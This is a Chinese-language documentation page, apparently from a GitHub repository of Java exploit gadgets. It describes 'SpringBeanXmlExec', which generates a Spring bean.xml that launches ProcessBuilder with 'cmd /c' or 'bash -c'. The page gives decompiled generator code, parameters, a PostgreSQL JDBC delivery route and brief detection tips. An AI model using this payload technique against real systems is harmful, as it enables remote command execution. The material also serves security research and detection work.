Skip to content

Latest commit

 

History

History
67 lines (53 loc) · 2.6 KB

File metadata and controls

67 lines (53 loc) · 2.6 KB

执行命令(SpringBeanXmlExec)

  • 类别common 别名:— 优先级:20
  • 作者:—
  • 依赖spring-bean
  • 实现Gadget

作用

生成直接启动 ProcessBuilder 的 Spring bean.xml。

链接标签

  • 入口 tagsOtherEND
  • 衔接 nextTags:无
  • excludes:无

源码剖析

关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:

public String getObject() {
        String payload = null;
        if ("win".equalsIgnoreCase(this.os)) {
            payload = String.format(template, "cmd", "/c", this.cmd);
        } else if ("linux".equalsIgnoreCase(this.os)) {
            payload = String.format(template, "bash", "-c", this.cmd);
        } else {
            ThrowsUtil.throwGadgetException("not support os: " + this.os);
        }
        HashMap<String, byte[]> fileMap = new HashMap<String, byte[]>();
        fileMap.put(CommonUtil.getRandomString(10) + ".xml", payload.getBytes());
        this.context.put(ContextTag.CACHE_FILES_MAP, fileMap);
        return payload;
    }

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        this.context = context;
        return this.getObject();
    }

getObject() 根据 os 参数选择 cmd /cbash -c,把命令放进 ProcessBuilder 构造参数,并设置 init-method="start"

生成的 XML 会写入 ContextTag.CACHE_FILES_MAP,因此它既可作为字符串返回,也可由文件型 payload 取出投递。

invoke() 不消费内层 gadget,直接生成 XML;这是 Other,END 标签的链尾构件。

参数(@Param)

字段 名称 说明 默认 可选值
cmd 命令 "calc"
os 目标操作系统 win/linux "linux" linux
windows

适用版本与原理要点

  • 注解描述:适用于 ClassPathXmlApplicationContext 加载xml文件场景,例如在 PostgreSQL jdbc url 利用,通过加载bean.xml文件 通过 ProcessBuilder 实现命令执行
  • 依赖条件:spring-bean
  • 依赖目标用 ClassPathXmlApplicationContext 等方式解析 Spring bean XML;os 只支持源码中的 win / linux 两个分支。
  • END 标签说明它可以作为链尾构件;如果没有上游包装器触发其返回对象,单独构造不会自动执行。

防御与检测

关注 XML 中 java.lang.ProcessBuilderinit-method="start"cmd/bash 三段式参数。

所属预设链

自由构件,未直接出现在预设链中。

关联

  • 机器可读元数据:index/gadgets.json
  • 完整反编译源码:。